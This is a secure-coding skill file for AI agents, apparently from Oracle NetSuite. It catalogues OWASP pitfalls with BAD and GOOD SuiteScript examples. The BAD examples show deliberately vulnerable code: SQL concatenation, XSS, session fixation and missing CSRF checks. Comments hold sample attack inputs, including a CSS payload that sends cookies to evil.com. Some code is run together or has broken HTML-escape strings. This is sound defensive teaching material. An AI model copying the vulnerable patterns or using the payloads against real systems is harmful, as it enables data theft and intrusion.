يبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
مستكشف الملفات
16 ملفات
عرض SKILL.md
SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
netsuite-owasp-secure-coding
description
Platform-agnostic OWASP secure coding practices with JavaScript/Node.js patterns and NetSuite SuiteScript examples. Covers Open Worldwide Application Security Project (OWASP) Top 10 (2021), output encoding, injection prevention, CSP headers, file security, API hardening, AI agent security, DRY security patterns, and 48+ security pitfalls with GOOD/BAD code templates.
license
The Universal Permissive License (UPL), Version 1.0
metadata
{"author":"Oracle NetSuite","version":"1.0"}
OWASP Secure Coding Practices
1. Description
This skill provides implementation-depth OWASP secure coding coverage for JavaScript
and SuiteScript 2.1 development. It is the primary security reference for writing,
reviewing, and auditing code.
What This Skill Covers:
Complete OWASP Top 10 (2021) mapping with code-level mitigation patterns
48 cataloged security pitfalls (OSCP-001 through OSCP-048) with BAD/GOOD code examples
A mandatory security review checklist for every code review
Relationship to Existing Security Content:
If available, the netsuite-sdf-leading-practices skill contains two security-related principles from
the SAFE Guide:
Principle 5 (05-security-privacy.md) -- Owns NetSuite-specific security topics:
roles and permissions, token-based authentication (TBA), N/crypto module usage, PCI-DSS awareness,
credential storage via script parameters, and SuiteCloud platform security features.
Principle 11 (11-security-best-practices.md) -- Owns OWASP awareness-level
guidance: the core security principles list, a high-level OWASP Top 10 overview,
basic input sanitization patterns, and parameterized query awareness.
This skill (netsuite-owasp-secure-coding) provides everything below the awareness
level: full implementation depth, exhaustive code patterns, all 48 pitfalls, context-specific
encoding, CSP templates, file security, API hardening, client-side defenses, logging safety,
and AI agent threat mitigation. It references Principles 5 and 11 where appropriate rather
than duplicating their NetSuite-specific content.
2. How to Use
Invocation
Use this skill whenever you need a security review, threat analysis, or implementation
guidance for SuiteScript or JavaScript security concerns.
If your client supports explicit skill activation by name, activate
netsuite-owasp-secure-coding and request the topic you need.
Auto-Activation Triggers
This skill auto-activates when the agent detects security-relevant context in the
conversation. See Section 3 for the complete trigger list.
Reference Files
All deep-dive content is in the local references/ directory. The skill loads the
appropriate reference files based on the detected security topic. You can also request a
specific reference directly:
Review this RESTlet for security issues.
Load the injection prevention reference.
Load the CSP header templates appendix.
3. When to Use
Keyword Triggers
The skill activates when any of the following keywords or phrases appear in the
conversation or code context:
Injection and Input:injection, sanitize, sanitise, validate input, SQL concatenation,
string concatenation query, parameterized, prepared statement, user input
This skill is self-contained. To avoid content duplication, this map distinguishes what
this skill owns from optional companion references that may exist in a broader NetSuite
guidance set.
Source
Owns
Relationship to This Skill
netsuite-owasp-secure-coding (This skill)
Full OWASP Top 10 implementation depth, all 48 OSCP pitfalls, five-context output encoding, CSP header construction, file upload/download validation pipeline, API/RESTlet hardening, client-side defenses (postMessage, DOM XSS, CSRF), logging safety, AI agent security, DRY security module patterns
Primary and authoritative source for implementation guidance in this package
Copy-paste boilerplate for RESTlets, Suitelets, UE scripts
6. DRY Principles for Security
Repeating security logic across scripts is a maintenance hazard and a source of
inconsistency. Apply these DRY principles to your security code.
6.1 Centralized Validation Module
Create a single validation module that all scripts import. When a validation rule
changes, it changes in one place.
/**
* Shared validation utilities.
*
* @NApiVersion 2.1
* @NModuleScopePublic
* @module ./lib/SecurityValidation
*/define(['N/error'], (error) => {
/**
* Validate that a value is a positive integer.
* @param {*} val - The value to validate.
* @param {string} fieldName - The field name for error messages.
* @returns {number} The parsed integer.
*/constrequirePositiveInt = (val, fieldName) => {
const n = parseInt(val, 10);
if (isNaN(n) || n < 1) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} must be a positive integer.`,
notifyOff: true
});
}
return n;
};
/**
* Validate that a value is one of an allowed set.
* @param {*} val - The value to validate.
* @param {Array} allowed - The allowed values.
* @param {string} fieldName - The field name for error messages.
* @returns {*} The validated value.
*/constrequireEnum = (val, allowed, fieldName) => {
if (!allowed.includes(val)) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} must be one of: ${allowed.join(', ')}`,
notifyOff: true
});
}
return val;
};
/**
* Validate that a string matches an alphanumeric pattern.
* Use for structured identifiers, codes, and keys.
* @param {string} val - The value to validate.
* @param {string} fieldName - The field name for error messages.
* @param {number} [maxLength=200] - Maximum allowed length.
* @returns {string} The validated string.
*/constrequireAlphanumeric = (val, fieldName, maxLength) => {
maxLength = maxLength || 200;
if (typeof val !== 'string' || val.length === 0 || val.length > maxLength) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} must be a non-empty string up to ${maxLength} characters.`,
notifyOff: true
});
}
if (!/^[a-zA-Z0-9_-]+$/.test(val)) {
throw error.create({
name: 'INVALID_INPUT',
message: `${fieldName} contains disallowed characters. Only alphanumeric, hyphens, and underscores are permitted.`,
notifyOff: true
});
}
return val;
};
/**
* Sanitize a string for safe inclusion in HTML body context.
* Encodes the five critical HTML characters as entities.
* @param {*} val - The value to sanitize.
* @returns {string} The HTML-safe string.
*/constsanitizeHtml = (val) => {
if (val == null) return'';
returnString(val)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
};
/**
* Sanitize a value for safe inclusion in log messages.
* Strips newlines, control characters, and truncates.
* @param {*} val - The value to sanitize.
* @param {number} [maxLength=500] - Maximum output length.
* @returns {string} The log-safe string.
*/constsanitizeForLog = (val) => {
returnString(val)
.replace(/[\r\n]/g, ' ')
.replace(/[\x00-\x1F]/g, '')
.substring(0, 500);
};
return {
requirePositiveInt,
requireEnum,
requireAlphanumeric,
sanitizeHtml,
sanitizeForLog
};
});
6.2 Shared Encoding Module
See example 13 in 03-xss-output-encoding.md for the full five-context encoding module.
Import it everywhere that output is rendered:
This is the core catalog. Each pitfall has a unique ID, title, category, severity,
problem description, BAD code example, GOOD code example, and a reference to the
detailed reference file.
ID prefix:OSCP- (OWASP Secure Coding Practice) to keep pitfall identifiers stable
and unique within this skill.
Severity Levels:
Critical -- Exploitable immediately; can lead to full data breach or RCE
High -- Significant risk requiring prompt remediation
Medium -- Moderate risk; should be fixed within the current development cycle
Low -- Minor risk; address as part of ongoing improvement
Injection Prevention (OSCP-001 to OSCP-005)
OSCP-001: SQL Injection via String Concatenation in SuiteQL
Problem: Building SuiteQL queries by concatenating user input allows an attacker
to manipulate the query structure, extract unauthorized data, or modify records.
// ===== BAD: String concatenation in SuiteQL =====/**
* @NApiVersion 2.1
* @NScriptTypeSuitelet
*/define(['N/query'], (query) => {
constonRequest = (context) => {
const name = context.request.parameters.customerName;
// VULNERABLE: attacker sends name = "' OR '1'='1"const sql = "SELECT id, companyname FROM customer WHERE companyname = '" + name + "'";
const results = query.runSuiteQL({ query: sql });
context.response.write(JSON.stringify(results.asMappedResults()));
};
return { onRequest };
});
Use ? placeholders plus params for query.runSuiteQL,
query.runSuiteQLPaged, and their promise variants. Paged SuiteQL queries must
still bind values through params; do not concatenate user-controlled values
into the query string.
OSCP-002: Command Injection via Unsanitized Shell Arguments
Problem: Passing user input to shell commands via child_process.exec() allows
an attacker to inject shell metacharacters and execute arbitrary commands. Relevant
in SDF build scripts, CI/CD pipelines, and custom Node.js tooling.
// ===== GOOD: execFile() with argument array (no shell) =====const { execFile } = require('child_process');
functionrunDeploy(projectName) {
// Validate against allowlist pattern firstif (!/^[a-zA-Z0-9_-]+$/.test(projectName)) {
thrownewError('Invalid project name. Only alphanumeric, hyphens, and underscores allowed.');
}
// SAFE: execFile does not spawn a shell; arguments passed directlyexecFile('sdfcli', ['deploy', '-project', projectName], (err, stdout) => {
if (err) {
console.error('Deploy failed:', err.message);
return;
}
console.log(stdout);
});
}
OSCP-003: Header Injection via Unvalidated HTTP Headers (CRLF)
Category: Injection Prevention
Severity: High
Reference:references/01-injection-prevention.md Section 3
Problem: If user input is placed into HTTP response headers without stripping
carriage return and line feed characters, an attacker can inject arbitrary headers
or split the HTTP response.
// ===== GOOD: Strip CRLF, validate against allowlist, and use redirect API =====define(['N/redirect'], (redirect) => {
constALLOWED_URLS = [
'/app/site/hosting/scriptlet.nl?script=123&deploy=1',
'/app/site/hosting/scriptlet.nl?script=456&deploy=1'
];
constsanitizeHeaderValue = (value) => {
returnString(value).replace(/[\r\n\x00]/g, '');
};
constonRequest = (context) => {
const redirectUrl = sanitizeHeaderValue(context.request.parameters.redirect);
if (!ALLOWED_URLS.includes(redirectUrl)) {
context.response.write('Invalid redirect destination.');
return;
}
// SAFE: use the documented redirect module instead of writing raw headers
redirect.redirect({ url: redirectUrl });
};
return { onRequest };
});
OSCP-004: LDAP Injection in Directory Queries
Category: Injection Prevention
Severity: High
Reference:references/01-injection-prevention.md Section 4
Problem: When NetSuite integrations query external LDAP/Active Directory services,
user input in LDAP filter strings can alter the query logic, exposing unauthorized
directory entries.
OSCP-005: Log Injection via Unsanitized Log Entries
Category: Injection Prevention
Severity: Medium
Reference:references/10-logging-monitoring.md Section 4
Problem: If user input containing newline characters is written to logs, an attacker
can forge log entries, inject misleading audit trails, or exploit log analysis tools.
Category: Authentication and Session
Severity: Critical
Reference:references/02-authentication-session.md Section 1
Problem: API keys, passwords, and tokens embedded in source code are exposed to
every developer with repository access, persisted in version control history, and
visible in deployment artifacts.
See Principle 5 (05-security-privacy.md) for NetSuite-specific credential storage
via Script Parameters and the Credentials module.
OSCP-007: Session Fixation via Client-Supplied Session IDs
Category: Authentication and Session
Severity: High
Reference:references/02-authentication-session.md Section 3
Problem: Accepting session identifiers from URL parameters or client-controlled
sources allows an attacker to fix a session ID, then trick a victim into
authenticating with that known session.
// ===== BAD: Session ID from URL parameter =====define(['N/cache'], (cache) => {
constonRequest = (context) => {
// VULNERABLE: attacker sets sessionId before victim logs inconst sessionId = context.request.parameters.sessionId;
const sessionCache = cache.getCache({ name: 'SESSIONS' });
let data = sessionCache.get({ key: sessionId });
if (!data) {
sessionCache.put({ key: sessionId, value: '{}', ttl: 1800 });
}
};
});
Category: Authentication and Session
Severity: High
Reference:references/02-authentication-session.md Section 5
Problem: Cookies set without HttpOnly, Secure, and SameSite attributes are
vulnerable to theft via XSS, interception over HTTP, and cross-site request
forgery.
OSCP-010: Reflected XSS via Unsanitized URL Parameters in Suitelets
Category: XSS and Output Encoding
Severity: High
Reference:references/03-xss-output-encoding.md Section 1
Problem: URL parameters reflected directly into HTML responses execute attacker-
controlled scripts in the victim's browser, enabling session hijacking, credential
theft, and defacement.
// ===== BAD: Raw parameter in HTML output =====define([], () => {
constonRequest = (context) => {
const name = context.request.parameters.name;
// VULNERABLE: name = <script>alert(document.cookie)</script>
context.response.write(`<html><body><h1>Hello, ${name}!</h1></body></html>`);
};
return { onRequest };
});
For Suitelet HTML, also consider N/render TemplateRenderer with an inline FTL
template and <#ftl output_format="HTML" auto_esc=true> when TemplateRenderer is
available and the code is replacing string-built response.write() output or
INLINEHTML.defaultValue. N/xml.escape can be referenced for simple XML/HTML
markup escaping, but do not treat it as a universal XSS encoder for JavaScript,
URL, CSS, DOM sink, or trusted-HTML contexts.
OSCP-011: Stored XSS via Unencoded Database Values
Category: XSS and Output Encoding
Severity: High
Reference:references/03-xss-output-encoding.md Section 2
Problem: Data saved to NetSuite records by one user may contain malicious HTML.
When another user's browser renders this data without encoding, the script executes.
// ===== BAD: Record value rendered without encoding =====define(['N/record'], (record) => {
constonRequest = (context) => {
const rec = record.load({ type: 'customrecord_feedback', id: 1 });
const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
// VULNERABLE: stored <script> tags execute for every viewer
context.response.write(`<div>${feedback}</div>`);
};
});
Category: XSS and Output Encoding
Severity: High
Reference:references/03-xss-output-encoding.md Section 3
Problem: Assigning untrusted data to innerHTML causes the browser to parse and
execute any embedded HTML or script content. This is the most common DOM-based XSS
vector.
Category: XSS and Output Encoding
Severity: High
Reference:references/03-xss-output-encoding.md Section 4
Problem: Using HTML entity encoding in a JavaScript string context, or URL encoding
in an HTML body context, provides no protection. Each output context requires its own
encoding strategy.
// ===== BAD: HTML encoding used in JavaScript context =====define([], () => {
constonRequest = (context) => {
const username = context.request.parameters.user;
// HTML encoding does NOT protect JS contextconst htmlSafe = username.replace(/</g, '<');
// VULNERABLE: user = "'; alert('xss');//" still works
context.response.write(`<script>var user = '${htmlSafe}';</script>`);
};
});
// ===== GOOD: JSON.stringify for JavaScript context =====define([], () => {
constescapeHtml = (str) => {
if (str == null) return'';
returnString(str)
.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"').replace(/'/g, ''');
};
constonRequest = (context) => {
const username = context.request.parameters.user;
// JSON.stringify produces a safe JS string literalconst safeJs = JSON.stringify(username);
context.response.write(`<script>var user = ${safeJs};</script>`);
// Or better: pass via data attribute and read with getAttribute
context.response.write(`<div id="data" data-user="${escapeHtml(username)}"></div>`);
context.response.write(`<script>var user = document.getElementById('data').getAttribute('data-user');</script>`);
};
});
OSCP-014: JavaScript Injection via Template Literals
Category: XSS and Output Encoding
Severity: High
Reference:references/01-injection-prevention.md Section 5
Problem: Template literals (backtick strings) make string interpolation convenient
but do not provide any automatic encoding. Interpolating user input into HTML templates
creates injection points identical to string concatenation.
// ===== BAD: Template literal with unsanitized data =====define([], () => {
constonRequest = (context) => {
const custName = context.request.parameters.name;
// VULNERABLE: custName = "<img src=x onerror=alert(1)>"const html = `<html><body><h1>Report for ${custName}</h1></body></html>`;
context.response.write(html);
};
});
Category: XSS and Output Encoding
Severity: Medium
Reference:references/03-xss-output-encoding.md Section 4
Problem: User-controlled values placed into CSS contexts can exfiltrate data via
url() expressions, apply deceptive styling, or in older browsers execute scripts
via expression().
// ===== BAD: User input in style attribute =====define([], () => {
constonRequest = (context) => {
const color = context.request.parameters.color;
// VULNERABLE: color = "red; background: url(https://evil.com/steal?cookie=...)"
context.response.write(`<div style="color: ${color}">Text</div>`);
};
});
Category: Access Control
Severity: Critical
Reference:references/04-access-control.md Section 2
Problem: When a RESTlet or Suitelet accepts a record ID from the request and loads
that record without verifying the caller is authorized for it, any authenticated user
can access any record by guessing or enumerating IDs.
// ===== BAD: No ownership check =====define(['N/record'], (record) => {
constget = (requestParams) => {
// VULNERABLE: User A can view User B's orderconst order = record.load({ type: 'salesorder', id: requestParams.orderId });
return { total: order.getValue({ fieldId: 'total' }) };
};
return { get };
});
OSCP-017: Privilege Escalation via Execute-as-Admin Deployment
Category: Access Control
Severity: Critical
Reference:references/04-access-control.md Section 4
Problem: Setting runasrole to ADMINISTRATOR on a script deployment means every
user who accesses the script operates with full system privileges, bypassing all
permission checks.
<!-- ===== BAD: runasrole ADMINISTRATOR + allroles T ===== --><scriptdeploymentscriptid="customdeploy_data_export"><status>RELEASED</status><runasrole>ADMINISTRATOR</runasrole><allroles>T</allroles></scriptdeployment>
<!-- ===== GOOD: Purpose-built role with minimum permissions ===== --><scriptdeploymentscriptid="customdeploy_data_export"><status>RELEASED</status><runasrole>customrole_data_export</runasrole><allroles>F</allroles><roles><role>customrole_sales_manager</role><role>customrole_finance</role></roles></scriptdeployment>
Category: Access Control
Severity: Medium
Reference:references/04-access-control.md Section 8
Problem: Setting allroles to T on a script deployment grants access to every
role in the system, including low-privilege roles that should never reach the script.
<!-- ===== BAD: allroles=T on sensitive report ===== --><scriptdeploymentscriptid="customdeploy_salary_report"><status>RELEASED</status><allroles>T</allroles></scriptdeployment>
<!-- ===== GOOD: Explicit role list ===== --><scriptdeploymentscriptid="customdeploy_salary_report"><status>RELEASED</status><allroles>F</allroles><roles><role>customrole_hr_manager</role><role>customrole_payroll</role></roles></scriptdeployment>
OSCP-019: Missing Function-Level Authorization on POST Handlers
Category: Access Control
Severity: High
Reference:references/04-access-control.md Section 3
Problem: Checking authorization only on the GET (form display) request but not
on the POST (form submission) request allows attackers to craft direct POST requests
that bypass the authorization check.
// ===== BAD: Authorization on GET only =====define(['N/record', 'N/runtime'], (record, runtime) => {
constonRequest = (context) => {
if (context.request.method === 'GET') {
if (runtime.getCurrentUser().role !== 3) {
context.response.write('Access denied.');
return;
}
// Display form...
}
if (context.request.method === 'POST') {
// VULNERABLE: No role check; attacker crafts direct POST
record.submitFields({
type: 'customrecord_config', id: 1,
values: { custrecord_setting: context.request.parameters.value }
});
}
};
return { onRequest };
});
Category: Access Control
Severity: High
Reference:references/04-access-control.md Section 5
Problem: A search or query that returns all records without filtering by the
current user's entity allows one user to see another user's data at the same
privilege level.
Category: Security Misconfiguration
Severity: Medium
Reference:references/05-security-misconfiguration.md Section 2
Problem: DEBUG-level logging in production captures all log.debug() calls, which
may contain sensitive data (payloads, tokens, PII). Execution logs are accessible to
users with script access.
<!-- ===== BAD: DEBUG log level in production ===== --><scriptdeploymentscriptid="customdeploy_payment"><status>RELEASED</status><loglevel>DEBUG</loglevel></scriptdeployment>
<!-- ===== GOOD: AUDIT or ERROR for production ===== --><scriptdeploymentscriptid="customdeploy_payment"><status>RELEASED</status><loglevel>AUDIT</loglevel></scriptdeployment>
Problem: Development endpoints such as arbitrary SuiteQL execution, environment
dump, or test email triggers left in released code provide direct exploitation paths.
Problem: Code that falls back to a hardcoded credential when the Script Parameter
is empty means the real secret is permanently embedded in version control.
Cryptography and Data Protection (OSCP-025 to OSCP-028)
OSCP-025: Using Math.random() for Security Tokens
Category: Cryptography and Data Protection
Severity: High
Reference:references/06-cryptography-data-protection.md Section 9
Problem:Math.random() uses a PRNG that is not cryptographically secure. Tokens
generated with it can be predicted by an attacker who observes a few outputs.
Category: File Upload and Download
Severity: Critical
Reference:references/07-file-upload-download.md Section 4
Problem: If a file path or name accepted from the request contains ../ sequences,
an attacker can escape the intended directory and access arbitrary files.
OSCP-032: Missing MIME Type and Magic Byte Validation
Category: File Upload and Download
Severity: Medium
Reference:references/07-file-upload-download.md Sections 2 and 6
Problem: Validating only the file extension is insufficient. An attacker can rename
a malicious file with an allowed extension. Cross-referencing the MIME type and file
magic bytes provides defense in depth.
// ===== BAD: Extension check only =====constisValid = (name) => name.endsWith('.png');
// An attacker renames malware.exe to malware.png
// ===== GOOD: Extension + MIME type + magic bytes =====define(['N/file', 'N/encode', 'N/error'], (file, encode, error) => {
constMAGIC = { '.png': '89504E47', '.jpg': 'FFD8FF', '.pdf': '25504446' };
constvalidateFile = (fileObj) => {
const ext = fileObj.name.slice(fileObj.name.lastIndexOf('.')).toLowerCase();
const expected = MAGIC[ext];
if (!expected) return; // No magic bytes for this typeconst headerHex = encode.convert({
string: fileObj.getContents().substring(0, 8),
inputEncoding: encode.Encoding.BASE_64,
outputEncoding: encode.Encoding.HEX
});
if (!headerHex.toUpperCase().startsWith(expected)) {
throw error.create({
name: 'INVALID_CONTENT',
message: `File content does not match ${ext} format.`
});
}
};
});
API and RESTlet Security (OSCP-033 to OSCP-036)
OSCP-033: Missing Rate Limiting on RESTlets
Category: API and RESTlet Security
Severity: Medium
Reference:references/08-api-restlet-security.md Section 3
Problem: Without rate limiting, an attacker can flood a RESTlet with requests to
exhaust governance units, overload the system, or brute-force data.
// ===== BAD: No rate limiting =====define([], () => {
constpost = (requestBody) => {
// VULNERABLE: unlimited request volume per callerreturnprocessRequest(requestBody);
};
return { post };
});
Category: API and RESTlet Security
Severity: Medium
Reference:references/08-api-restlet-security.md Section 2
Problem: Accepting and processing request bodies without validating required fields,
types, and lengths allows injection of unexpected data, type confusion, and
mass-assignment attacks.
// ===== BAD: Direct processing of raw body =====define(['N/record'], (record) => {
constpost = (requestBody) => {
// VULNERABLE: no type checks, no required fields, no length limits
record.submitFields({
type: 'customer', id: requestBody.id,
values: requestBody // mass assignment
});
};
return { post };
});
// ===== GOOD: Schema validation before processing =====define(['N/record', 'N/error'], (record, error) => {
constSCHEMA = {
id: { type: 'number', required: true },
companyname: { type: 'string', required: true, maxLength: 200 },
email: { type: 'string', required: false, maxLength: 254 }
};
constvalidate = (body, schema) => {
const errors = [];
Object.keys(schema).forEach((field) => {
const rule = schema[field];
const val = body[field];
if (rule.required && (val === undefined || val === null || val === '')) {
errors.push(`${field} is required`);
}
if (val != null && rule.type === 'string' && typeof val !== 'string') {
errors.push(`${field} must be a string`);
}
if (val != null && rule.type === 'number' && typeof val !== 'number') {
errors.push(`${field} must be a number`);
}
if (val != null && rule.maxLength && String(val).length > rule.maxLength) {
errors.push(`${field} exceeds max length ${rule.maxLength}`);
}
});
if (errors.length) throw error.create({ name: 'VALIDATION_ERROR', message: errors.join('; ') });
};
constpost = (requestBody) => {
validate(requestBody, SCHEMA);
// Pick only expected fields
record.submitFields({
type: 'customer', id: requestBody.id,
values: { companyname: requestBody.companyname, email: requestBody.email }
});
return { success: true };
};
return { post };
});
OSCP-035: Wildcard CORS Origin
Category: API and RESTlet Security
Severity: High
Reference:references/08-api-restlet-security.md Section 4
Problem: Setting Access-Control-Allow-Origin: * allows any website to make
cross-origin requests to the RESTlet, enabling data theft from authenticated sessions.
Category: API and RESTlet Security
Severity: High
Reference:references/08-api-restlet-security.md Section 9
Problem: If a script makes HTTP requests to URLs provided by the user without
validation, an attacker can probe internal network services, read cloud metadata
endpoints, or access restricted resources.
Category: Client-Side Security
Severity: Medium
Reference:references/09-client-side-security.md Section 1, references/appendices/appendix-csp-header-templates.md
Problem: Without Content-Security-Policy headers, any injected script executes in
the user's browser. CSP acts as a second line of defense when encoding is missed.
Category: Client-Side Security
Severity: High
Reference:references/09-client-side-security.md Section 5
Problem: Sending or receiving postMessage without checking the origin allows
any website to send malicious messages to the script or receive data from it.
// ===== BAD: No origin check on message listener =====window.addEventListener('message', (e) => {
// VULNERABLE: accepts messages from any originprocessData(e.data);
});
// ===== BAD: Wildcard origin on postMessage send =====
targetWindow.postMessage(sensitiveData, '*');
OSCP-039: Missing CSRF Tokens on State-Changing Forms
Category: Client-Side Security
Severity: High
Reference:references/09-client-side-security.md Section 3
Problem: Without CSRF tokens, an attacker's website can submit a form to the
Suitelet, performing actions on behalf of the victim's authenticated session.
// ===== BAD: No CSRF token =====define([], () => {
constonRequest = (context) => {
if (context.request.method === 'GET') {
// No CSRF token generated
context.response.write('<form method="POST"><input name="action" value="delete"><button>Submit</button></form>');
}
if (context.request.method === 'POST') {
// No CSRF validationperformAction(context.request.parameters.action);
}
};
});
Problem:eval(), new Function(), and string-form setTimeout/setInterval
execute arbitrary code. If any user input reaches these sinks, the attacker achieves
full JavaScript execution in the victim's browser.
Category: Client-Side Security
Severity: Medium
Reference:references/09-client-side-security.md Section 8
Problem:localStorage and sessionStorage are accessible to any JavaScript
running on the same origin. If an XSS vulnerability exists, stored tokens, PII, or
session data can be exfiltrated.
// ===== GOOD: Avoid storing sensitive data client-side =====// Use HttpOnly cookies for session management (not accessible via JS)// If temporary client-side state is needed, use sessionStorage with non-sensitive data onlysessionStorage.setItem('uiPreference', 'dark-mode');
// For sensitive operations, make a server-side call each time
Logging and Monitoring (OSCP-042 to OSCP-044)
OSCP-042: Missing Audit Trail Logging
Category: Logging and Monitoring
Severity: Medium
Reference:references/10-logging-monitoring.md Sections 1 and 5
Problem: Security-relevant events (authentication, authorization failures,
data modifications, configuration changes) that are not logged leave no evidence
for incident response or forensic analysis.
// ===== BAD: No logging of security events =====define(['N/record'], (record) => {
constdeleteCustomer = (custId) => {
// VULNERABLE: no audit trail of who deleted what
record.delete({ type: 'customer', id: custId });
};
});
OSCP-043: Logging Sensitive Data (PII, Credentials)
Category: Logging and Monitoring
Severity: Critical
Reference:references/10-logging-monitoring.md Section 2
Problem: Passwords, API keys, tokens, SSNs, credit card numbers, and other sensitive
data written to logs are exposed to anyone with execution log access and may violate
PCI-DSS, HIPAA, or GDPR.
OSCP-044: Insufficient Monitoring (No Alerting on Suspicious Patterns)
Category: Logging and Monitoring
Severity: Medium
Reference:references/10-logging-monitoring.md Sections 7 and 8
Problem: Logging events without monitoring or alerting means breaches go undetected.
Repeated authentication failures, sudden spikes in API calls, or access to restricted
records should trigger alerts.
// ===== BAD: Log and forget =====define(['N/log'], (log) => {
constonAuthFailure = (userId) => {
log.audit('Auth Failure', `User ${userId} failed login.`);
// No tracking of failure count, no alert
};
});